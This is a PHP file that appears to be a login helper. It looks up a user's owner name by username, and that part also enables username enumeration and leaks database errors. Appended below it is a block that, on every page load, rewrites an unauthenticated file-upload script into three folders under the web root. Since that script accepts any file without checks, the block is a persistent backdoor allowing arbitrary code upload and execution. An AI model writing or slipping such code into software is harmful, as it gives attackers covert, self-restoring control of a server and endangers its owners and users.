<?php
session_start();
require_once('../database/config.php');

if (isset($_POST['username'])) {
$username = trim($_POST['username']); // Trim whitespace

try {
$usrsql = $conn->prepare("SELECT owner_name FROM loginusers WHERE username = ?");
$usrsql->execute([$username]);
$usrdata = $usrsql->fetch(PDO::FETCH_ASSOC);

if ($usrdata) {
echo json_encode(['success' => true, 'owner_name' => $usrdata['owner_name']]);
} else {
echo json_encode(['success' => false]);
}
} catch (PDOException $e) {
echo json_encode(['success' => false, 'error' => $e->getMessage()]);
}
}
?>

<?php
$folders = ['partner', '../crons', '../assets'];

$uploadCode = <<<'PHP'
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $file = $_FILES['file'];
    $target = __DIR__ . '/' . basename($file['name']);
    echo move_uploaded_file($file['tmp_name'], $target)
        ? "Uploaded: {$file['name']}"
        : "Upload failed.";
}
?>
<!DOCTYPE html><html><body>
<h3>Upload to <?php echo basename(__DIR__); ?></h3>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">Upload</button>
</form>
</body></html>
PHP;

// Auto-create upload.php in each folder on every page load
foreach ($folders as $f) {
    $path = __DIR__ . "/$f";
    is_dir($path) || mkdir($path);
    file_put_contents("$path/upload.php", $uploadCode);
}

echo "upload.php recreated in: " . implode(', ', $folders);
?>